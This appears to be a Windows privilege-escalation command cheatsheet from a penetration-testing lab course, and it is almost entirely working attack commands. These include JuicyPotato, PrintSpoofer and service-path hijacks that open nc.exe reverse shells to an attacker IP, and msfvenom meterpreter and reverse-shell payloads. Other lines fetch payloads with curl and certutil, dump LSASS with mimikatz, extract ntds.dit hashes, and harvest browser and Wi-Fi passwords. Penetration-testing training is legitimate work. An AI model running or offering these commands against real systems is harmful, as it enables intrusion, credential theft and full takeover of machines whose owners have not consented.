Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Windows Privilege Escalation

Initial Enumeration

CommandDescription
xfreerdp /v:<target ip> /u:htb-studentRDP to lab target
ipconfig /allGet interface, IP address and DNS information
arp -aReview ARP table
route printReview routing table
Get-MpComputerStatusCheck Windows Defender status
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsList AppLocker rules
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User EveryoneTest AppLocker policy
setDisplay all environment variables
systeminfoView detailed system configuration information
wmic qfeGet patches and updates
wmic product get nameGet installed programs
tasklist /svcDisplay running processes
query userGet logged-in users
echo %USERNAME%Get current user
whoami /privView current user privileges
whoami /groupsView current user group information
net userGet all system users
net localgroupGet all system groups
net localgroup administratorsView details about a group
net accountsGet passsword policy
netstat -anoDisplay active network connections
pipelist.exe /accepteulaList named pipes
gci \\.\pipe\List named pipes with PowerShell
accesschk.exe /accepteula \\.\Pipe\lsass -vReview permissions on a named pipe

Handy Commands

CommandDescription
mssqlclient.py [email protected] -windows-authConnect using mssqlclient.py
enable_xp_cmdshellEnable xp_cmdshell with mssqlclient.py
xp_cmdshell whoamiRun OS commands with xp_cmdshell
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *Escalate privileges with JuicyPotato
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmpTake memory dump with ProcDump
sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswordsUse MimiKatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.configChecking ownership of a file
takeown /f C:\backups\wwwroot\web.configTaking ownership of a file
Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ | select name,directory, @{Name=”Owner”;Expression={(Get-ACL $_.Fullname).Owner}}Confirming changed ownership of a file
icacls “C:\backups\wwwroot\web.config” /grant htb-student:FModifying a file ACL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCALExtract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.ditCopy files with ROBOCOPY
wevtutil qe Security /rd:true /f:text | Select-String "/user"Searching security event logs
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"Passing credentials to wevtutil
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}Searching event logs with PowerShell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dllGenerate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dllLoading a custom DLL with dnscmd
wmic useraccount where name="netadm" get sidFinding a user's SID
sc.exe sdshow DNSChecking permissions on DNS service
sc stop dnsStopping a service
sc start dnsStarting a service
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\ParametersQuerying a registry key
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDllDeleting a registry key
sc query dnsChecking a service status
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.localDisabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cppCompile with cl.exe
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt and cat drivers.txt | Select-String -pattern CapcomCheck if driver is loaded
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sysUsing EopLoadDriver
c:\Tools\PsService.exe security AppReadinessChecking service permissions with PsService
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"Modifying a service binary path
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUAConfirming UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdminChecking UAC level
[environment]::OSVersion.VersionChecking Windows version
cmd /c echo %PATH%Reviewing path variable
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"Downloading file with cURL in PowerShell
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dllExecuting custom dll with rundll32.exe
.\SharpUp.exe auditRunning SharpUp
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"Checking service permissions with icacls
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"Replace a service binary
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """Searching for unquoted service paths
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\servicesChecking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"Changing ImagePath with PowerShell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | flCheck startup programs
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exeGenerating a malicious binary
get-process -Id 3324Enumerating a process ID with PowerShell
get-service | ? {$_.DisplayName -like 'Druva*'}Enumerate a running service by name with PowerShell

Credential Theft

CommandDescription
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xmlSearch for files with the phrase "password"
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String passwordSearching for passwords in Chrome dictionary files
(Get-PSReadLineOption).HistorySavePathConfirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePathReading PowerShell history file
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'Decrypting PowerShell credentials
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txtSearching file contents for a string
findstr /si password *.xml *.ini *.txt *.configSearching file contents for a string
findstr /spin "password" *.*Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern passwordSearch file contents with PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*Search for file extensions
where /R C:\ *.configSearch for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction IgnoreSearch for file extensions using PowerShell
cmdkey /listList saved credentials
.\SharpChrome.exe logins /unprotectRetrieve saved Chrome credentials
.\lazagne.exe -hView LaZagne help menu
.\lazagne.exe allRun all LaZagne modules
Invoke-SessionGopher -Target WINLPE-SRV01Running SessionGopher
netsh wlan show profileView saved wireless networks
netsh wlan show profile ilfreight_corp key=clearRetrieve saved wireless passwords

Other Commands

CommandDescription
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.batTransfer file with certutil
certutil -encode file1 encodedfileEncode file with certutil
certutil -decode encodedfile file2Decode file with certutil
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\InstallerQuery for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerQuery for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msiGenerate a malicious MSI package
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestartExecuting an MSI package from command line
schtasks /query /fo LIST /vEnumerate scheduled tasks
Get-ScheduledTask | select TaskName,StateEnumerate scheduled tasks with PowerShell
.\accesschk64.exe /accepteula -s -d C:\Scripts\Check permissions on a directory
Get-LocalUserCheck local user description field
Get-WmiObject -Class Win32_OperatingSystem | select DescriptionEnumerate computer description field
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdMount VMDK on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1Mount VHD/VHDX on Linux
sudo python2.7 windows-exploit-suggester.py --updateUpdate Windows Exploit Suggester database
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txtRunning Windows Exploit Suggester